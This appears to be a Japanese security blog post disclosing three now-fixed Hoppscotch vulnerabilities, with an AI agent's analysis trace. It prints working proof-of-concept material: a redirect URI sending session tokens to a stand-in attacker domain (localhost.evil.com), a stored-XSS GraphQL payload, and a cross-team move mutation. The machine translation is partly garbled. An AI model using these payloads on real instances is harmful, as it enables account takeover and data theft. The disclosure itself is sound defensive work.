はじめに
Hoppscotchは、Postmanに似たオープンソースAPI エコシステムであり、月間ユーザー数は10万人を超えています。 2週間前、私たちはセルフホスト型インスタンスを構築し、ペンテスト を実行しました。その結果、2件の重大な脆弱性と1件の中程度の脆弱性発見されました。これらはすべてバージョン2026.2.1までのバージョンに存在し、2026.3.0で修正されています:
- オープンリダイレクトを介したアカウント乗っ取り。これにより、認証トークンが悪意のあるドメインへ流出させられ、攻撃者が被害者として認証を行うことが可能になる。
- モックサーバーを介した保存型XSS。レスポンスヘッダーを通じて注入されたJavaScriptがHoppscotchアプリケーションのコンテキスト内で実行され、攻撃者は被害者が閲覧できるあらゆる情報に対して読み取りおよび書き込み権限を取得できる。
- リクエストの転送におけるアクセス制御の欠陥により、あるチームのユーザーが別のチームのコレクションにリクエストを注入できてしまう。対象チームのメンバーがこれを実行すると、認証情報やAPI 外部に流出する恐れがある。
これら3件はいずれも責任ある開示が行われ、すでに解決済みです。
注: 誤ってXSSとアクセス制御の問題を1つのレポートにまとめてしまいました。アドバイザリの本文ではXSSについて説明していますが、スクリーンショットには実際にはアクセス制御の脆弱性が表示されているため、3つの異なる問題を扱う2つのアドバイザリが作成される結果となりました。
対策
Hoppscotchのセルフホスト型インスタンスをバージョン2026.3.0以降に更新してください。
発見された脆弱性は、 Aikido Intelのデータベースに追加されました:
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
オープンリダイレクトによるアカウント乗っ取り
CVSS: 8.5(高)
Affected versions: Hoppscotch <= 2026.2.1
修正済みバージョン:2026.3.0
Hoppscotchには、Webインターフェースとデスクトップアプリケーションの両方があります。デスクトップアプリケーションで認証を行うには、ブラウザで次のようなURLを開きます:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
Hoppscotchのインスタンスは、redirect_uriクエリパラメータを使用してセッショントークンを送信します。ここに脆弱性 。バックエンドでは、URIに対して次のような不適切な検証が行われていました:
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
このコードは、URIが http://localhost、しかし、次のような悪意のあるドメインは考慮されていません http://localhost.evil.com このチェックも通過します。その結果、被害者が次のURLにアクセスすると:http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
Hoppscotchは、セッショントークンを http://localhost.evil.com. 以来 localhost は、攻撃者の evil.com ドメイン名の場合、リクエストはlocalhostではなく、攻撃者のサーバーに送信されます。攻撃者はこれらのトークンを利用して、被害者として認証を行うことが可能になります。
当社の担当者がコードベース内で問題箇所を特定し、パブリックIPにリスナーを設定し、以下の内容を使用してペイロードを作成することでこれを確認しました sslip.io. URI を使用することで http://localhost.<attacker-ip>.sslip.io/, ペイロードは「startsWith」チェックを正常に回避しつつ、ブラウザにアドレスを攻撃者のサーバーへ解決させることに成功しました。被害者が認証を行うと、機密性の高いセッショントークンが当社のリスナーに直接漏洩し、アカウントの完全な乗っ取りが可能であることが確認されました。
以下のプルリクエストでは、適切なURLパーサーを使用脆弱性 この脆弱性 修正されました:https://github.com/hoppscotch/hoppscotch/pull/6012
モックサーバーを介した保存型XSS
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotchには、以下のURLからユーザー定義のレスポンスを返す「Mock Server」機能が搭載されています。 /mock/<subdomain>/. バックエンドは、Hoppscotchアプリケーションと同じオリジンからこれらのレスポンスを配信しているため、MockServerにおけるクロスサイトスクリプティング(XSS)の脆弱性を悪用して、ユーザーデータを外部へ持ち出したり改ざんしたりすることが可能です。
XSSペイロードを注入するには、 Aikido ペンテスト API ペンテスト 、 コンテンツタイプ レスポンスヘッダーを text/html. フロントエンドからはこれができませんでした。
リクエスト本文の例:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}ユーザーがAPI アクセスすると、XSSがトリガーされます。例えば:
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

これを検証するため、AIエージェントはGraphQLAPI介してレスポンス本文にconsole.logのペイロードを挿入し、UIのコンテンツタイプの制限を事実上回避しました。特定のモックエンドポイントにアクセスすると、ブラウザはスクリプトを実行し、エージェントはコンソールに記録された出力を正常に取得しました。
以下のPRでは、Content Security Policy(CSP)を用いたサニタイズとサンドボックス化脆弱性 、この脆弱性 修正しました:
https://github.com/hoppscotch/hoppscotch/pull/6006
アクセス制御:リクエストを別のチームに移動する
CVSS: 6.0(中)
Affected versions: Hoppscotch <= 2026.2.1
修正済みバージョン:2026.3.0
Hoppscotch では、ユーザーは 移動リクエスト GraphQLのmutation。調査チームは、バックエンドが宛先コレクションの権限を適切に検証できていなかったことを突き止めました。このため、攻撃者が別のチームが管理するコレクションに、自身のリクエストを「注入」することが可能となっていました。
この脆弱性 バックエンドの検証ロジックに脆弱性 。リクエストの送信元を検証する際、もし 次のリクエストID は設定される null. を提供することで、 destCollID 被害者のチームから離れ、 次のリクエストID 空の場合、攻撃者はテナントの境界を越えてリクエストを送信することに成功する可能性があります:
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
被害を受けたチームのメンバーが、知らずに注入されたリクエストや親コレクションを実行した場合、機密性が侵害される可能性があります。その場合、認証ヘッダーを継承しているリクエストや、API 変数プレースホルダーを含むリクエストについては、機密データが攻撃者のサーバーへ流出する恐れがあります。
以下は、この脆弱性特定したエージェントのトレースです:
teamIDの関係性の検証 - teamIDを変更せずに、リクエストを異なるチームのコレクションに属させることができるのでしょうか。コレクションが別のチームに関連付けられている場合、これは外部キー制約に違反する可能性があります。 TeamRequestモデルは、teamIDとcollection.teamIDの一致を厳密に強制することなく、IDによってコレクションを関連付けていると思われます。createTeamRequestでは、チームIDの一致はチェックされています。しかし、リクエストを移動する際にteamIDを変更せずにcollectionIDのみを更新する場合、これらの関係がどのように構成されているかを確認するために、Prismaのスキーマを確認する必要があります。該当するディレクトリでスキーマを探してみましょう。
アクセス制御の問題の特定 - このガードは、ユーザーが requestID に関連付けられたチームのメンバーであるかどうかのみを確認し、移動先のコレクションのチームに対する権限は無視していることに気づきました。 moveRequest関数は、EditorやOwnerなどのロールに対してGqlRequestTeamMemberGuardによって保護されていますが、destCollIDに対するGqlCollectionTeamMemberGuardのチェックは含まれていません。これは、チームAの編集者が、チームBのコレクションのメンバーでなくてもリクエストを移動できてしまうことを意味し、深刻なアクセス脆弱性生じさせることになります。
リクエスト処理の見直し - findRequestAndNextRequest および reorderRequests に関する理解を確認したい。findRequestAndNextRequest では、srcCollID にリクエストが存在するかどうかを確認する。nextRequestID が指定されている場合、nextRequest が同じコレクションおよびチームに属していることを保証する。しかし、nextRequestID が null の場合、destCollID のチーム所有権の確認はスキップされる。
reorderRequestsでは、srcおよびdestコレクションに対してrequest.teamIDでロックを行います。しかし、destCollIDが別のチームのコレクションである場合、適切なチームチェックを行わずに更新処理を実行してしまうため、問題が発生する可能性があります。
以下のPRでは、認証チェック脆弱性 この脆弱性 修正しました:
https://github.com/hoppscotch/hoppscotch/pull/6006
脆弱性独自に発見したTristanInSec氏に感謝します。
当社のペネトレーションテスト に関するペネトレーションテスト 詳細はこちら:
-SvelteSpill:SvelteKitとVercelにおけるキャッシュ欺瞞の脆弱性
-PromptPwnd:AIエージェントを用いたGitHub Actionsにおけるプロンプト注入の脆弱性
ペネトレーションテスト について詳しくはこちら:
-設計段階から安全性を確保したAIエージェントの実現方法
-自律型ペネトレーションテストと手動ペネトレーションテストの比較

